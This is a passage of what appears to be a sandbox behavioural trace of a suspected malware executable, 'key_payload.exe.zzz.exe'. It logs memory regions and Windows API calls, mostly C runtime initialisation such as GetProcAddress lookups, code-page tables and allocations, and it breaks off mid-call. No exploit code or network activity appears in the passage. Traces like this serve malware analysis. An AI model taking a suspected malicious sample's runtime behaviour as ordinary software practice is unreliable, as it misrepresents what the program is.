0x3a20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a20000" filename = "" Region: id = 466 start_va = 0x73dc0000 end_va = 0x73dcbfff entry_point = 0x73dc0000 region_type = mapped_file name = "pcacli.dll" filename = "\\Windows\\SysWOW64\\pcacli.dll" (normalized: "c:\\windows\\syswow64\\pcacli.dll") Thread: id = 11 os_tid = 0xf88 [0094.022] GetStartupInfoW (in: lpStartupInfo=0xf3fa54 | out: lpStartupInfo=0xf3fa54*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0094.024] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0094.025] GetProcAddress (hModule=0x75130000, lpProcName=0x133ad34) returned 0x7514a330 [0094.025] GetProcAddress (hModule=0x75130000, lpProcName="FlsFree") returned 0x7514f400 [0094.025] GetProcAddress (hModule=0x75130000, lpProcName="FlsGetValue") returned 0x75147580 [0094.025] GetProcAddress (hModule=0x75130000, lpProcName="FlsSetValue") returned 0x75149910 [0094.025] GetProcAddress (hModule=0x75130000, lpProcName="InitializeCriticalSectionEx") returned 0x75156030 [0094.026] GetProcAddress (hModule=0x75130000, lpProcName="CreateEventExW") returned 0x75155f90 [0094.026] GetProcAddress (hModule=0x75130000, lpProcName="CreateSemaphoreExW") returned 0x75155ff0 [0094.026] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadStackGuarantee") returned 0x7514a5d0 [0094.026] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolTimer") returned 0x7514a690 [0094.026] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolTimer") returned 0x779c40f0 [0094.026] GetProcAddress (hModule=0x75130000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x779bd630 [0094.026] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolTimer") returned 0x779becf0 [0094.027] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolWait") returned 0x75155720 [0094.027] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolWait") returned 0x779be140 [0094.027] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolWait") returned 0x779beb60 [0094.027] GetProcAddress (hModule=0x75130000, lpProcName="FlushProcessWriteBuffers") returned 0x779f9990 [0094.027] GetProcAddress (hModule=0x75130000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x779f5540 [0094.027] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumber") returned 0x779e9dc0 [0094.027] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformation") returned 0x7514a550 [0094.028] GetProcAddress (hModule=0x75130000, lpProcName="CreateSymbolicLinkW") returned 0x75170a40 [0094.028] GetProcAddress (hModule=0x75130000, lpProcName="SetDefaultDllDirectories") returned 0x74e60790 [0094.028] GetProcAddress (hModule=0x75130000, lpProcName="EnumSystemLocalesEx") returned 0x7514f8a0 [0094.028] GetProcAddress (hModule=0x75130000, lpProcName=0x13131e4) returned 0x7514fa30 [0094.028] GetProcAddress (hModule=0x75130000, lpProcName="GetDateFormatEx") returned 0x75171030 [0094.028] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0094.029] GetProcAddress (hModule=0x75130000, lpProcName="GetTimeFormatEx") returned 0x751714b0 [0094.029] GetProcAddress (hModule=0x75130000, lpProcName="GetUserDefaultLocaleName") returned 0x7514a4f0 [0094.029] GetProcAddress (hModule=0x75130000, lpProcName="IsValidLocaleName") returned 0x751716f0 [0094.029] GetProcAddress (hModule=0x75130000, lpProcName="LCMapStringEx") returned 0x75149970 [0094.029] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentPackageId") returned 0x74de3c90 [0094.029] GetProcAddress (hModule=0x75130000, lpProcName="GetTickCount64") returned 0x75148710 [0094.029] GetProcAddress (hModule=0x75130000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0094.030] GetProcAddress (hModule=0x75130000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0094.030] GetCurrentThreadId () returned 0xf88 [0094.030] GetStartupInfoW (in: lpStartupInfo=0xf3fa24 | out: lpStartupInfo=0xf3fa24*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0094.030] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0094.031] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0094.031] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0094.031] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" " [0094.031] GetEnvironmentStringsW () returned 0xfeee48* [0094.078] FreeEnvironmentStringsW (penv=0xfeee48) returned 1 [0094.078] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1398068, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0094.080] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xf3fa70 | out: lpSystemTimeAsFileTime=0xf3fa70*(dwLowDateTime=0xe3654c23, dwHighDateTime=0x1d43868)) [0094.080] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0094.081] GetLastError () returned 0x0 [0094.081] SetLastError (dwErrCode=0x0) [0094.081] GetLastError () returned 0x0 [0094.081] SetLastError (dwErrCode=0x0) [0094.081] GetLastError () returned 0x0 [0094.081] SetLastError (dwErrCode=0x0) [0094.081] GetACP () returned 0x4e4 [0094.081] GetLastError () returned 0x0 [0094.081] SetLastError (dwErrCode=0x0) [0094.081] IsValidCodePage (CodePage=0x4e4) returned 1 [0094.081] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xf3fa18 | out: lpCPInfo=0xf3fa18) returned 1 [0094.081] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xf3f4e0 | out: lpCPInfo=0xf3f4e0) returned 1 [0094.082] GetLastError () returned 0x0 [0094.082] SetLastError (dwErrCode=0x0) [0094.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f8f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0094.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f8f4, cbMultiByte=256, lpWideCharStr=0xf3f258, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0094.082] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0xf3f4f4 | out: lpCharType=0xf3f4f4) returned 1 [0094.082] GetLastError () returned 0x0 [0094.082] SetLastError (dwErrCode=0x0) [0094.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f8f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0094.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f8f4, cbMultiByte=256, lpWideCharStr=0xf3f228, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0094.083] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0094.083] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xf3f018, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0094.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0xf3f7f4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc2\x71\x4e\xf6\x30\xfa\xf3", lpUsedDefaultChar=0x0) returned 256 [0094.083] GetLastError () returned 0x0 [0094.083] SetLastError (dwErrCode=0x0) [0094.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f8f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0094.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f8f4, cbMultiByte=256, lpWideCharStr=0xf3f248, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0094.083] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0094.083] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0xf3f038, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0094.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0xf3f6f4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc2\x71\x4e\xf6\x30\xfa\xf3", lpUsedDefaultChar=0x0) returned 256 [0094.083] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0094.083] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x127b866) returned 0x0 [0094.086] GetCurrentThread () returned 0xfffffffe [0094.086] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0xf3fa5c, lpExitTime=0xf3fa64, lpKernelTime=0xf3fa64, lpUserTime=0xf3fa64 | out: lpCreationTime=0xf3fa5c, lpExitTime=0xf3fa64, lpKernelTime=0xf3fa64, lpUserTime=0xf3fa64) returned 1 [0094.086] RtlInitializeSListHead (in: ListHead=0x139a0f8 | out: ListHead=0x139a0f8) [0094.090] GlobalLock (hMem=0x1740004) returned 0xfc3d60 [0094.090] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0xfc1508 [0094.091] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0xfef9c0 [0094.091] LocalAlloc (uFlags=0x0, uBytes=0x8) 